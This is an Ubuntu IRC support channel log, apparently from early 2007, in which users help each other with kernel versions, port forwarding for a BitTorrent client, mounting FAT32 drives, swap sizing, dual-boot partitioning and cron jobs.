rafinHello, anyone knows which kernel Ubuntu has?05:24
mrlinuxjowi, but according to gparted my file system is unallowcated but it still works every where05:24
riotkittie:)05:25
n2diyrafin, it has over a dozen of them.05:25
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daftmanriotkittie: ugh 2GB why does a small distro need 2GB05:25
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davieyrafin, use uname -r and it will tell you what kernel you are using05:25
rafinn2diy tank you but which is it when I download current release05:25
rafindaviey thanks, but I;m not running it yet05:26
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davieyrafin, well why not?!?!05:26
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n2diyrafin: I'm not sure, I'm not running a stock kernel here.05:26
Jowimrlinux, never encountered that. you probably should not format it to test in case the mp3player do not have a backup of its settings in ROM somewhere... some mp3players have an option in their menues to format.05:26
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Li`lEndianhello, I've been trying to fix the NAT problem i am having. i use an ICS connection to get access to the internet. I did the portforwarding thing on ICS advances settings to allow both UDP/TCP access for azureus.05:26
theflyingfooldoes anyone know how to change which volume gets changed with the keyboard?05:26
SmotangHow do i schedule a shutdown in say 3 hours time?05:26
daftmanrafin: the lastest kernel is 2.6.19.105:26
daftmanbut ubuntu use 2.6.1705:26
BrendanMSmotang, "sudo shutdown -P 180"05:26
davieyrafin, if you upgrade after installing edgy (6.10) to current you will have 2.6.17-10-generic05:26
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Jowirafin, 2.6.15 in dapper05:26
daftmanthat's dapper05:26
Li`lEndianand then added ports to the iptables on ubuntu. still azureus shows a NAT error05:26
Smotangthanks05:26
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n2diySmotang: shutdown -h 18005:27
daftmanedgy would be ..1905:27
rafindaviey, didn't come to it yet. but want to start with it with the new motherboard I'd like to buy05:27
rafinJowi tnx05:27
VuenLi`lEndian: make sure you get the ports for both ordinary traffic AND distributed db05:27
VuenLi`lEndian: the distributed db port is different05:27
mrlinuxjowi, i'm not worried to try to format its just that i don't want to mess the firmware  plus in the users manual it says not to format05:27
rafinSo edgy is the latest and has 2.6.19?05:27
daftmanLi`lEndian: use firehol05:27
theflyingfoolrafin: no05:27
daftmanLi`lEndian: it would make your life easier05:27
theflyingfoolrafin edgy has 2.6.1705:28
davieyrafin, well mine is up to date and has .1705:28
riotkittiemore like 1.3  :P  i'm sure you can cut it down quite a bit though05:28
Li`lEndiandaftman, whats that? a firewall? or a btclient?05:28
daftmanLi`lEndian: sudo apt-get install firehol05:28
daftmanLi`lEndian: firehol allows you to configure your iptables easily05:28
Li`lEndianok, i figure.05:28
VuenLi`lEndian: firehol is probably a firewall, don't bother. for now don't even use a firewall at all, it's pointless if you're behind a NAT05:28
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riotkittiei wonder how small it used to be. zen started out as minislack, which i never bothered looking into05:28
theflyingfoolrafin if your looking for an uber uptodate disto try forsight05:28
VuenLi`lEndian: just reset your iptables and make sure you apt-get remove any firewalls you may have, firestarter, firehol, etc05:29
BrendanMugh, does anyone have any idea what "arguments to dbus_message_new_error() were incorrect, assertion "_dbus_check_is_valid_error_name (error_name)" failed in file dbus-message.c line 925." means?05:29
rafinHey guys tnx, but then I have a problem 17 doesn't have proper support for Via 8237A southbridge I read05:29
Jowimrlinux, not recommended to format unless you know for a fact which filesystem is on it I would say. you might convert it from a mp3 player to a brick if you do.05:29
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davieyVuen, so how does NAT protect against outbound connections?05:29
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Vuendaviey: it doesn't. for now you don't really need to05:29
Jowimrlinux, better try to see on the manufacturers homepage if they have any info.05:29
Vuendaviey: are you really that concerned about the outgoing connections your linux box may make?05:29
roxluwhen I want to run some scripts as 'root' in a cron how can I do that?05:29
mrlinuxJowi, exactly thats why i am hesitent to do so.05:29
riotkittiei wish there was a lighter version of ubuntu. maybe i'll toy around later and try to optimize before an install05:29
n2diyrafin, what about Dapper?05:29
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Vuendaviey: if he's using bittorrents, it's going to want to open a whole slew of outbound connections. using a firewall to try to block outgoing is just dumb.05:30
Li`lEndianVuen, how can i find out which ports are used by the distributed db network?05:30
davieyriotkittie, if you want minimal use ubuntu server edition and install your own window manager05:30
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Jowimrlinux, you can try to mount it manually as vfat to see if it works. "sudo mount -t vfat /dev/name /mount/mymp3disk05:30
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daftmanLi`lEndian: distributed use UDP05:30
daftmanLi`lEndian: you can set it in azureus05:31
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mrlinuxjowi, oh i can mount it fine  rythembox detects it and every thing05:31
VuenLi`lEndian: hmm. i thought it was a different port, but it seems it may not be. i'm not sure...05:31
daftmanLi`lEndian: if you open port 5000005:31
riotkittiedaviey: the only thing not in server is X, right?05:31
BrendanMmrlinux, my mp3 player has a setting on the player that I needed to change05:31
Li`lEndianyeah, its the same as the TCP listen port,05:31
rafinn2diy, when dapper is on the 2.6.15 kernel is also doesn't support the Via 8237A southbridge which would couse ATA drives to be slow05:31
Li`lEndianis that a problem?05:31
daftmanthen distributed database will use 50000 UDP05:31
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davieyVuen, fair enough..... but it outbound connections are still a big issue.  At work, i can vpn into my home network.  That means that my work machine is effectively on my home network.  This means that if somebody hacks my home network, then they security they have at work is pointless.  I shoudln't be able to that!!!05:31
n2diyrafin: ok05:31
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daftmanLi`lEndian: no it isn't a problem05:32
pr3d4t0rHave a great day :)05:32
Jowimrlinux, if you mount it fine then type "mount" to see what it is mounted as.05:32
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Li`lEndian!iptables05:32
ubotuUbuntu, like any other linux distribution, has firewall capabilities built-in. The firewall is managed using the 'iptables' command (see https://help.ubuntu.com/community/IptablesHowTo), or GUI applications such as Firestarter (Gnome) or Guarddog (KDE).05:32
davieyriotkittie, i believe so.  but anything that is missing is just just an apt-get away.  I had a fully running server edition as a media pc05:32
BrendanMMrLinux, what kind of mp3 player is it?05:32
mrlinuxjowi, it says it's vfat05:32
rafinAnyone knows where in the Ubuntu docs I can find the kernel version, so I don't have to ask next time05:33
mrlinuxBrendanM, philips go gear05:33
daftmanrafin: you can build you own kernel05:33
daftmanrafin: www.kernel.org05:33
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rafindaftman: I'm afraid I am a too newbie for that05:33
Jowimrlinux, so you're better of to remove files manually instead of formatting it. you never know with these devices.05:34
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daftmanrafin: check kernel.org to see if your kernel is supported05:34
kohr_When i try to play WMV or MOV files in firefox, it shows a black screen and says "no video"05:34
SmotangProblem I have at the moment is that I have a Microsoft USB 5 button mouse, but programs I run in wine do not seem to recognise the 2 side buttons.05:34
theflyingfoolhow do i get the kernel source code05:34
un_operateurrafin, you want to know what kernel version you are running?05:34
riotkittiedaviey: yeah, thats what i assumed. server's not as minimal as i had in mind.05:34
BrendanMI have a SanDisk mp3 player, and by default it uses some stupid Microsoft proprietary USB protocol that's meant to integrate with Windows Media Player, but I found a setting on the player to set it to just use MSC all the time05:34
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BrendanMthen it just mounts like an ordinary USB flash drive05:34
Vuenkohr_: sudo apt-get install vlc vlc-plugin-esd05:34
Jowimrlinux, I know that my samsung mp3 player will restore its settings if it is formatted but I also know that other mp3 players don't.05:34
daftmanrafin: http://www.kroah.com/lkn/05:34
davieyriotkittie, how minimal do you want?!05:34
mrlinuxBrendanM, jowi, never mind guys   i'm just going to call phiips and say that its messed and to give me a new one05:35
Jowimrlinux, what is wrong with it?05:35
daftmanrafin: that would teach you how to compile a default stock kernel05:35
rafinun_operator: no I'm not running Linux yet, but want to know how to find out in the Ubuntu docs05:35
irvwhat is the correct driver for ati radeon 9600?05:35
riotkittiethen again, i'm getting ahead of myself here. hehe. i cant manage to clone my screen between two displays. <hangs head in shame>05:35
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davieyriotkittie, it's quite easy to compile a kernel... http://www.howtoforge.com/kernel_compilation_ubuntu05:35
BrendanMIs anybody here good with NetworkManager, I can't get VPN working correctly: http://ubuntuforums.org/showthread.php?t=33637505:35
Li`lEndianVuen, stupid question, i've tried the port-forwarding with both the broadband modem iface firewall turned on and off. nothing works05:35
rafindaftman: tnx this surely will get me further05:36
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un_operateurrafin, uname -r  is the command to tell you what kernel a particular machine is running05:36
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riotkittiedaviey: i know. i've compiled them in the past.05:36
irvwhat is the correct driver for ati radeon 9600?05:36
davieyriotkittie, sorry wrong person05:36
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riotkittie:)05:36
daftmanrafin: if you have a livecd you can test it if it support your gfx card05:36
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un_operateur!ati | irv05:36
ubotuirv: To install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto05:36
davieyrafin,  it's quite easy to compile a kernel... http://www.howtoforge.com/kernel_compilation_ubuntu05:36
Itakuhello all05:36
davieyrafin, what kernel do you want?05:36
ItakuI'm trying to install ubuntu05:37
davieygood luck05:37
VuenLi`lEndian: hmm. does the ICS machine have a firewall?05:37
riotkittiehi Itaku05:37
daftmandaviey dont scare him/her05:37
riotkittiehahahah05:37
mrlinuxjowi, it's is a 1GB mp3 player but  it says it only has 980MB  so i figure ok loose 20MB to formatting  but when i try to copy 976.3MB to my mp3 player which has 980MB on it   it say not enough space05:37
linux_user400354do anyone else graphics look like this when ubuntu is booting? http://chris1.myftp.org/bad_graphics.png05:37
kohr_Vuen, i did that, now it segfaults05:37
davieydaftman, i wasn't... just wishing him luck05:37
Itakui got a problem05:37
Itakui show you a screen05:38
daftmanLi`lEndian: is the ICS machine happen to be a windoze?05:38
Itakui'm in live CD05:38
rafindaftman: tnx but it was about the motherboard. I saw a review which stated that it needed at least the 2.6.18 kernel.05:38
Vuenkohr_: yuck. okay, sudo apt-get remove vlc-plugin-esd && sudo apt-get install mozilla-mplayer05:38
Li`lEndianno third party ones- just the default windows firewall. here's how i've hook'd up the network. adsl is conencted via an ISP-issued usb-modem. I just hooked up ethernet-to-ethernet connection between the ubuntu box and the windows machine and issued static IPs05:38
rafinNow I now that this kernel is not in edgy05:38
Li`lEndiandaftman, unfortunately, yes.05:38
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Vuenkohr_: if that doesn't work, remove it and try totem-gstreamer-firefox-plugin05:38
davieyrafin, that link i gave you tells you how to upgrade to 18.  But tbh i expect it will be released in packages soon anyway05:39
n2diymrlinux: it probably requires some overhead for the copy process.05:39
Vuenkohr_: there's a whole bunch of media player plugins for firefox. one of them is bound to work :)05:39
daftmanlinux_user400354: its 64 bit05:39
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daftmanlinux_user400354: don't worry it is only a usplash05:39
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Li`lEndiani know that DHCP causes issues with azureus. and funny thing is, i use other bittorrent clients like bittornado- which don't give any bitforwarding problems05:39
striggavuen **wget http://nvidia.limitless.lupine.me.uk/ubuntu/root@lupine.me.uk.gpg -O- | sudo apt-key add -** gives an error message "wget: invalid option - - 005:39
un_operateurmrlinux, storage device vendors define 1MB to be 1000KB while most other programmer's and applications define it to be 1024KB .. hence the discrepancy05:39
rafindaviey: yopu mean a new ubuntu release based on 18 or 19?05:39
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davieyrafin, naa, just an upgrade.  they are released regualry05:40
Itakuhere is my screen05:40
Itakuhttp://imagup.com/img.php?page=img&url=http://www.images-upload.com/images/1168620348_install.png05:40
Vuenstrigga: it's O (the letter), not 0 (the number).05:40
davieyrafin, similar to a windows update05:40
Itakui can't click on next (Avancer in french) I don't know why05:40
daftmanLi`lEndian: if it is an XP ICS try checking your windows firewall05:40
Vuenstrigga: you don't have to retype all that, you can just paste the command into a terminal window05:40
un_operateurmrlinux, if you want a true representation of how much space is available, you should check the size in bytes05:40
striggaVuen - that was it05:40
kohr_Vuen, back to (no video)05:40
mrlinuxun_operateur, this i know i do look at the actual byte size05:40
striggavuen proceeding :)05:40
Itakuhelp plz05:40
rafinI didn't know that Ubuntu does also kernel upgrades, learnt something again05:40
Jowimrlinux, see what the filesizes is in bytes and compare it with how many bytes are available. don't trust MB values05:41
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Vuenkohr_: hmm. that's very strange. hold on05:41
daftman<Li`lEndian> as a test disable the windows firewall in services.msc05:41
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Li`lEndianok..05:41
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BrendanMKohr, this is the best solution I've found for player media with firefox: https://addons.mozilla.org/firefox/446/05:41
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daftmanwith an ICS it is suppose to be transparent05:41
mrlinuxun_operateur, but i should try not having a 40 pounder of rum eh?05:41
Vuenrafin: edgy comes with the 2.6 series. as far as i know so will feisty. it upgrades across minor versions automatically through apt. i couldn't find this in the documentation, but that's how it works05:41
Jowimrlinux, rum *always* help05:41
daftmanrafin: if you scare just try out the livecd05:42
Vuenkohr_: hm. very strange... hold on05:42
rafinVuen: tnx05:42
un_operateurmrlinux, also, you do lose a certain amount of space on the drive to super-user reserved blocks and things like the journal and file table, etc05:42
mrlinuxjowi, this i know but whisky don't hurt either05:42
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rafindaftman: I think I'll do that05:42
mrlinuxi'm just going to call them up05:43
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un_operateurmrlinux, well, no problem with the rum or how much of it you consume .. just have a strong coffee afterwards to return to normalcy :)05:43
Vuenkohr_: have you installed codecs for wmv and mov?05:43
daftmanrafin: yea that is the best way to test out which distro is right for you05:43
daftmanrafin: without screwig up your existing system05:43
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mrlinuxok my other question is can i dual boot other linux oses on my current ext3 partition05:44
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Vuenkohr_: the instructions here should help: https://help.ubuntu.com/community/FirefoxPlugins05:44
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YayBuntuJust formatted my SATA harddisk in FAT32 and mounted it with "sudo mount /dev/sdb1 /media/Data1" but i can only access files, not read and write?05:44
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Jowino mrlinux. one system per partition05:44
pike_!grub | mrlinux05:44
ubotumrlinux: grub is the default Ubuntu boot manager. Lost grub after installing windows: https://help.ubuntu.com/community/RecoveringUbuntuAfterInstallingWindows - Making GRUB floppies & other GRUB howtos: https://help.ubuntu.com/community/GrubHowto05:44
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YayBuntuOnly if i use "sudo nautilus" but not even there i can change who can read/write05:44
mettao87hi05:44
kohr_Vuen, yeah, mplayer can play .wmv05:44
pike_mrlinux: sorry misunderstood05:44
kohr_Vuen, checking on mov's05:45
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Vuenkohr_: mplayer can't play .wmv by default. you need w32codecs.05:45
mrlinuxjowi, k thanks05:45
rafindaftman, Vuen, daviey, un_operateur: Thanks a lot you all realy helped me a lot, i'll quit for now, but will be back soon05:45
s34nmy PC's screen resolution just dropped to 600x480, and Pref->Screen Resolution doesn't offer any other choices now05:45
linux_user400354daftman: does the same thing happen to you?05:45
Enverexs34n, What video card and driver?05:45
kohr_Vuen, i installed them05:45
davieyrafin, look forward to seeing you back05:45
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JowiYayBuntu, "sudo touch /media/Data1/mytestfile" work?05:45
maseeeeis kubuntu and ubuntu the same thing?05:45
s34nEnverex: embedded intel chipset05:45
un_operateurYayBuntu, errm, thats odd05:46
daftmanlinux_user400354: yes don't worry about it. It is an issue with 64b usplash05:46
neghsmokehey what is the command to select your video driver in xorg.conf ?05:46
VuenYayBuntu: you need to set the proper permissions on the files. fat32 doesn't have metadata for file permissions, so you have to set global permissions for all the files on the drive in the mount command. hol don05:46
KristianDKmaseeee -> No, Ubuntu is gnome user interface, Kubuntu is KDE05:46
daftmanlinux_user400354: it is already logged by a few people in the ubuntuforum05:46
kohr_Vuen, mplayer can play both wmv and mov, i have codec's for them and they both work05:46
s34nEnverex: has worked flawlessly until I moved the PC 10 minutes ago05:46
Itakunobody can help me05:46
Itaku?05:46
maseeeeKristianDK: thats it?05:46
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pike_maseeee: yes the only diff is the gui environment and some installed apps that are specific to it05:46
Enverexmaseeee, Other than the DE yes05:46
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KristianDKmaseee, yes :)05:46
maseeeealright cool thanks05:46
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Vuenkohr_: ah. that's very strange. sorry, i don't know what's wrong :(05:46
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KristianDKmaseee, np05:47
kohr_Vuen, darn05:47
YayBuntuJowi Yes it work05:47
daftmanWhat's wrong itaku?05:47
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VuenYayBuntu: http://ubuntuguide.org/wiki/Ubuntu_Edgy#How_to_mount.2Funmount_Windows_partitions_.28FAT.29_manually.2C_and_allow_all_users_to_read.2Fwrite05:47
s34nhow do you get X to reconfig?05:47
maseeeeKristianDK: will i need to create a separte partition for ubuntu or will it do that during setup?05:47
jangas34n, sudo dpkg-reconfigure xserver-xorg05:47
pike_maseeee: you can install both and easily choose which by clicking sessions button at login05:47
YayBuntuthx Vuen will check :)05:47
Itakuhttp://www.images-upload.com/images/1168620348_install.png I can't click on NEXT so I can't install05:47
daftmans34n: dpkg-reconfigure xorg-xserver05:47
JowiYayBuntu, so you must mount it with write permissions for users. follow the link Vuen gave you05:47
KristianDKmaseee, you can run kubuntu and ubuntu on the same, if that's what you mean ;()05:47
KristianDK;) *05:47
YayBuntuOkay i will05:47
maseeeeno no05:47
maseeeei mean windows / ubuntu05:47
dDbBhello05:47
daftmans34n: oops xserver-xorg05:48
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chrissturmdoes anyone have debs for FreeImage?05:48
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VuenYayBuntu: the umask=000 is the part that does it. that means it sets the permissions on everything on the drive as 777.05:48
daftmanItaku: what is the problem?05:48
Itakudaftman : look http://www.images-upload.com/images/1168620348_install.png I c'ant click on next. He doesnt' see any peripheric so I made my partitons with Gparted Live CD05:48
maseeeecan i just rip off like 15GB from one of my partitions just for ubuntu then select that at install?05:48
YayBuntuOhh okay05:48
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YayBuntuI tried to use CHMOD but didn't work :)05:49
KristianDKmaseee, should be possible during installating ;K)05:49
Vuenmaseeee: yep. you'll also want a couple gigs of swap space05:49
YayBuntuOnly problem now is that i can't umount it05:49
YayBuntuIt says it is busy05:49
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Itakudo you see daftman ?05:49
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maseeeeVuen: how much swap, 2x my memory?05:49
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dDbBi can't download the libavahi-glib library05:49
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VuenYayBuntu: you can umount -f, or you don't really need to umount it at all to mount again.05:49
YayBuntuWorks now05:49
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Garitohi05:49
daftmanItaku: yes I do but it is IN FRENCH05:49
Vuenmaseeee: yep. at least 2 gigs anyway.05:49
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Itakubut you can see how it is right ?05:50
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maseeeeoh 2 gigs? i only have 512mb in memory.05:50
EnverexVuen, That's stupid05:50
Enverexmaseeee, Just use 1GB SWAP05:50
dDbBsomeone can help me?05:50
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JowiYayBuntu, maybe you have "cd"d into the directory?05:50
Li`lEndiandaftman, i think disabling ICS just disconnected05:50
daftmanItaku: yes I can hang on05:50
YayBuntuJowi - you are right xD DOH!05:50
maseeeeEnverex: 1gb is fine?05:50
Itakudaftman : What can't you understand ?05:50
Li`lEndianme from the internet on the ubuntu box05:50
Enverexmaseeee, yeah05:50
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daftmanLi`lEndian: dont disable ICS: disable firewall05:50
n2diymaseeee: you can let Ubuntu decide how much swap space to use.05:50
Itakudaftman : do you know my problem ? I can I resolve it ?05:50
jangaVuen, why so much swap? My system never uses more than 18MB.05:50
Vuenmaseeee: i have 3 gigs and only 512mb of memory >.< a gig is fine if you don't plan to upgrade05:50
YayBuntuIt works perfectly now :D Thanks05:50
Vuenjanga: i don't know, that's just what the documentation recommends05:50
daftmanItaku: yes you can solve it05:51
Itakuhow ?05:51
maseeeeok thanks guys.05:51
un_operateurjanga, incase you ever use more than that -- also if you ever need to hibernate/suspend etc05:51
Garitoanyone can help me with a bind9 configuration?05:51
s34njanga: why doesn't it autodiscover my video card?05:51
daftmanItaku: how many hard-drive do you have?05:51
KristianDKvuen -> I've got 1,5 gb ram, and swap 1,6 gb, i don't even use my ram :P05:51
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Itaku105:51
EnverexVuen, The idea of "2x RAM" is plain stupid, if you have more RAM you don't need as much SWAP, you sure as hell don't need more SWAP05:51
jangaVuen, i am running fine with 51205:51
Vuenjanga: you'd be hard pressed to buy a drive today less than 300 gigs. an extra gig of swap space is not exactly a big deal05:51
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daftmanand you have windows on it currently right?05:51
Itakudaftman : 1 but I don't want to quit windows for gaming05:51
Itakuyes05:51
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un_operateurEnverex, errm, the 2xRAM exists for a reason -- hibernation :)05:51
daftmanok so you want to dual boot?05:51
Itakudaftman : right05:52
daftmanhow many gb is your windows?05:52
Itakudaftman : I organized my partition so I can do it05:52
Itaku5005:52
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Vuenwow, people seem to be taking my ram comment poorly. i ran ubuntu breezy without a swap partition at all for months with no problems, i KNOW you don't need a lot of swap, i'm just repeating what the documentation says05:52
Enverexun_operateur, That's a dodgy way to hibernate, which is probably why I don't use it, heh.05:52
Vuen!swap05:52
ubotuswap is used to move unused programs and data out of main memory to make your system faster. It can also be used as extra memory if you don't have enough. See https://help.ubuntu.com/community/SwapFaq for more info05:52
clash.05:52
n2diyEnverex: 2x was the standard recommendation05:52
EnverexIt's a bad recommendation05:52
s34nhow do I get X to auto re-discover my video card?05:52
daftmanItaku: from the picture you shown, that's not the way you organize it05:52
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EnverexSomeone with 4GB RAM does not need 8GB of SWAP.05:52
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BlueLagunais there anyway to automatically generate an fstab entry?05:53
un_operateurEnverex, whats a dodgy way to hibernate -- whats how it has always worked05:53
daftmanItaku: does you windows partition take 100% of you disk?05:53
un_operateurs/whats/thats/05:53
Jowis34n, "sudo dpkg-reconfigure xserver-xorg"05:53
n2diyEnverex: I agree, the standard comes from the days when folks where installing on 486s.05:53
Enverexun_operateur, As I said, that's why I don't use it, it's a silly way of doing it. I use STR.05:53
Itakui got 50 go Win ;  30 go FAT32 for exchange between both ; 7go EXT3 "/" ; 1go Swap ; 10go /home daftman05:53
s34nJowi: that pops up and asks me for all the data on my video card05:53
un_operateurEnverex, if ever they want to hibernate ,.. that had better make sure they have enough space -- and if you are swapping more than 4GB of RAM .. 8GB is a good approximate05:53
s34nvendor, memory, etc.05:54
Enverexhaha05:54
Jowis34n, those are optional values05:54
s34nIt should auto-detect that05:54
daftmanItaku: how many have you got on win at the momment?05:54
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EnverexI'm just gonna drop out of this conversation now because it's just stupid05:54
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Itakudaftman : what do you mean ? I made my partition with gparted05:54
neghsmokeAnyone: In the device section of xorg.conf under my cideo card it lists the options "OpenGLOverlay" "off"     is this a problem?05:54
Jowis34n, it does. but you have a chance to modify it. it exist there for older hardware that it can't autodetect for.05:54
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daftmanah ok, so you already partition everything05:54
un_operateur!worksforme | Enverex05:54
ubotuEnverex: Common Sense: Just because you can, does not mean you should. Think before you do. "Works for me" does not mean it is ok. The latest version of everything is not always useful if you aim for stability.05:54
Jowis34n, just press enter and you'll be fine.05:55
Vuens34n: sudo dexconf05:55
Itakudaftman : yes because Ubuntu cant see my peripheric05:55
Enverex!idontcare | un_operateur05:55
ubotuSorry, I don't know anything about idontcare - try searching on http://bots.ubuntulinux.nl/factoids.cgi05:55
BlueLagunahow do I find a partition's UUID?05:55
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Vuens34n: nevermind, the dpkg-reconfigure is a better way to do it05:55
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Enverexun_operateur, Your whole "wfm" comment is contradictory in itself05:55
un_operateurBlueLaguna, it's probably listed in /etc/fstab05:55
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BlueLagunaun_operateur: it's not, that's why I'm trying to figure it out so I can add it05:56
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maseeeeshould my ext3 partition should be "logical" or "primary" ?05:56
daftmanItaku: YOu use Gpart in the LiveCD?05:56
Itakudaftman : still there ?05:56
un_operateurBlueLaguna, check  - ls -l /dev/disk/by-uuid/05:56
Vuenmaseeee: logical05:56
Itakuyes05:56
maseeeeVuen: thx, what about swap?05:56
daftmanYou should not do that05:57
Vuenmaseeee: same...05:57
maseeeek05:57
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daftmanGpart will destroy your windows partition05:57
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daftmanthat "/windows" just mean a directory05:57
un_operateurEnverex, if you wish to sit here and give support to someone who took your advice, then do so .. but if you want to keep everyone happy, just do things like they have always been done05:57
Akuma_sorry about that but basic newb question: how do i go about merging archives? i have a file split in 7 and each part is zipped05:57
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EnverexFine, waste space, not my problem05:57
Itakudaftman : No because when I bougt it I already had C: / and D:/05:57
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Vuenmaseeee: the safest way to do it is probably to have a primary partition and an extended partition containing a bunch of logical partitions05:57
BlueLagunaun_operateur: hmm, that has /dev/hdb1 but not /dev/hdb205:57
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daftmanHow much is in C:?05:58
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daftmanand how much is in D:?05:58
gh0sthello how can i install custom splash screens?05:58
Vuenegad! drive letters! curses!05:58
un_operateurBlueLaguna, errm, sorry, come again?05:58
Itaku50 gb and 58gb daftman05:58
maseeeeVuen: its just that on partitionmagic it recommends primary for linux05:58
ubunuthi05:58
Napsterhi. my update notifier is in the taskbar but is ses package manager is not working and when i try update it gives me an error. what can i do?05:58
Hairballanyone have any ideas why i can't auth to a samba share when trying to map it from xp?05:58
daftmanItaku: do you need D:?05:58
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Itakuno that's why I take off the space from D:05:59
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paolohow can i assign to a variable the output of a command?05:59
kenthomsonHello!05:59
ubunuti need a crontab quick. i have to run a php-file with the user hc. the command is 'php /usr/local/bin/afraid.php', and i have to run it every 2 or 5 minute. what should i do?05:59
kenthomsonHow do i use a floppy drive in Ubuntu?05:59
Vuenmaseeee: oh. yeah, i don't really know. i can show you what my partition table looks like, i have windows dual booted05:59
n2diyNapster: whatt is the error message?05:59
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un_operateurpaolo, you mean how can you assign the output of a command to a variable right? :)05:59
riotkittiepartition magick is the root of all evil:p05:59
daftmanItaku: you need to go back to windows, use a tool like partionmagic to resize your windows partition05:59
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BlueLagunaun_operateur: I'm trying to add the partition from /dev/hdb2 to my fstab.  The folder said to look at only contains a symlink to /dev/hdb105:59
Itakuwhich one ?05:59
BlueLaguna*you said05:59
kenthomsonI mean i have it inserted and on going to /media/floppy0 does nothing05:59
kenthomsonI want to see its contents, where do i go?05:59
paoloun_operateur: yes05:59
NapsterE: Could not get lock /var/cache/apt/archives/lock - open (11 Resource temporarily unavailable)05:59
NapsterE: Unable to lock the download directory05:59
un_operateurpaolo,  something like this  -- variable=`command`05:59
daftmanso you can get 50GB of windows and 58GB of unpartition05:59
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un_operateurBlueLaguna, you dont have to use a UUID .. you can use the old syntax06:00
kenthomsonAnyone....?06:00
gh0sthello how can i install custom splash screens?06:00
riotkittieit's partition *magic* because... "data! now you see it, now you don't"06:00
daftmanItaku: If you do this, it will destroy your windows partition06:00
jribNapster: do you have more than one APT application open?06:00
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ItakuI've already done that daftman06:00
jangakenthomson, go to "Computer" and then to Floppy06:00
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VuenNapster: are you sure you don't have synaptic/adept open?06:00
kenthomsonjanga i am there06:00
n2diyNapster: close any other package managers like synaptic.06:00
s34ndpkg-reconfigure didn't auto detect06:00
Napsteri dont have any open...i just turned on my computer06:00
Jowimaseeee, http://en.wikipedia.org/wiki/Disk_partitioning for the basics06:01
pike_Akuma_: well maybe "cat file.zip.1 > file.zip; for i in `seq 2 7`; do cat file.zip.$i >> file.zip; done" <-- not the best way but might work.06:01
jangakenthomson, and it does not mount the floppy?06:01
jribNapster: where did you get that error?06:01
ubunuti need a crontab quick. i have to run a php-file with the user hc. the command is 'php /usr/local/bin/afraid.php', and i have to run it every 2 or 5 minute. what should i do?06:01
daftmanItaku: so your windows partition should be in sda106:01
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Vuens34n: mmm. well what you can do is just add the resolutions you want to /etc/X11/xorg.conf06:01
n2diyNapster: ok, then delete that lock file.06:01
Napsterwhwen i clicked install updates06:01
Napsterhow?06:01
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Itakudaftman : I actually have 5 partitions : NTFS 50 go with Windows (C:), FAT32 30gb for exchange space (D:), EXT3 7gb for "/", EXT3 10gb for /home, SWAP 1gb06:01
s34nVuen: it's not just resolutions. it's driver, memory, everything06:01
Bartekhello06:01
un_operateurpike_, hah, isnt that overkill of cat .. why not just  cp file.zip.1 file.zip ?06:02
n2diyNapster: you don't know how to delete a file?06:02
s34nVuen: it was also recognized just fine during install06:02
jrib!cron | ubunut06:02
ubotuubunut: cron is a way to schedule execution of software/scripts. See https://help.ubuntu.com/community/CronHowto  -  There is also a decent Howto at http://www.tech-geeks.org/contrib/mdrone/cron&crontab-howto.htm06:02
Jowis34n, what video card do you have?06:02
Bartekanyone can give me a hint where to start with digikam and olympus camera?06:02
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Vuens34n: mm, that's very strange...06:02
Bartekdigikam detects it but can not connect to it06:02
s34nJowi: an embedded intel job06:02
pike_un_operateur: dont mock me! :)06:02
Itakudaftman : This is right now06:02
n2diyNapster: are you in X?06:02
Jowis34n, can you be more precise?06:02
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jribubotu: see also 'man 5 crontab' which is pretty readable06:02
jribubunut: see also 'man 5 crontab' which is pretty readable06:02
Napsteri went there 2 delete it and it sed i dont have permission06:02
un_operateurpike_, sorry, didnt mean to .. just wondering what the rationale behind that approach was? :)06:03
Napsterwait...let me try something06:03
BlueLagunaun_operateur: ah, thanks06:03
s34nJowi: 00:02.0 VGA compatible controller: Intel Corporation 82845G/GL[Brookdale-G] /GE Chipset Integrated Graphics Device (rev 03)06:03
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un_operateurBlueLaguna, it works? :)06:03
daftmanItaku: why do I see "point de montage" 2906:03
Napsterwats the command to delete in the terminal06:03
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un_operateurNapster, rm06:03
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ubunutwell. i have read it, but i have to run the script with the php-command, not /bin/sh (like it's in /etc/crontab - SHELL=/bin/sh06:03
Itakupoint de montage means the folder where it's going to be daftman06:03
daftmanItaku: It said /windows06:03
Jowis34n, 845G use the i810 driver and you enable more of its resolutions by installing "915resolution"06:04
daftmanis that your Fat32?06:04
jribubunut: you enter what you said in quotes as your command06:04
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Itakudaftman : yes I've done that so it'll be in windows folder06:04
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Jowigotto go06:04
Itakudaftman : do I should retire it?06:04
daftmanItaku: no don't do that06:04
un_operateurubunut, so you looking for the php command line interpreter?06:04
daftmanItaku: I think ubuntu reserver /windows for a windows partition06:05
daftmanItaku: try naming it something else?06:05
Napsterthanks guys that worked06:05
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Itakudaftman : even when i take it off, i can't click on next06:05
n2diyNapster: nada06:05
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daftmancan you show me the pciture before that screen?06:06
Jon335what is the command to reconfigure the X server from the command line?06:06
flasherhello all06:06
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jrib!xconfig | Jon33506:06
ubotuJon335: To reconfigure your X server, open a console and type "sudo dpkg-reconfigure xserver-xorg". To configure only the driver and resolution, type: "sudo dpkg-reconfigure xserver-xorg -phigh".06:06
flasherhope i'm i right place06:06
un_operateurJon335, dpkg-reconfigure --priority low xorg xorg-server06:06
fabio__|in openoffice, is there a way to visualize the "page breaks" and "column breaks" as in MS Word we do?06:06
jribflasher: yes, if you are looking for ubuntu support :)06:06
Jon335thanks06:06
un_operateurerr, otherway around :)06:06
Itakuyes06:06
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Napsteri have another question though...i installed amule and it worked for a while but now it opens and closes straight away. so i uninstalled and reinstalled. still not working...is there another program i can try or acn i fix this problem?06:07
Akuma_pike_:  sorry i was away. thanks for the tip - its gives me a good idea how to handle that from now on06:07
flasherlooking to find out if pcmcia slot is working or configured06:07
daftmanItaku: I think it is because you use Logical partition06:07
daftmanItaku: instead of physical06:07
Itakuoh06:07
flasheris there a command or log file that will help06:07
Itakuyou think ?06:07
ubunutokey, i made a .sh-file so i can run it without doing anything hard. will this line work?06:07
ubunutokey, i made a .sh-file so i can run it without doing anything hard. will this line work?   */2 *   * * *   hc      /usr/local/bin/afraid.sh06:07
daftmanItaku: yeah, you are physically partitioning the drive06:07
VuenNapster: sudo aptitude purge amule06:07
Itakuyou think i take again gparted an put the partitions in physical ?06:08
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daftmanItaku: I think logical partition is for LVM06:08
un_operateurubunut, what was all the SHELL thingy you were fussing about earlier?06:08
daftmanItaku : yes try that06:08
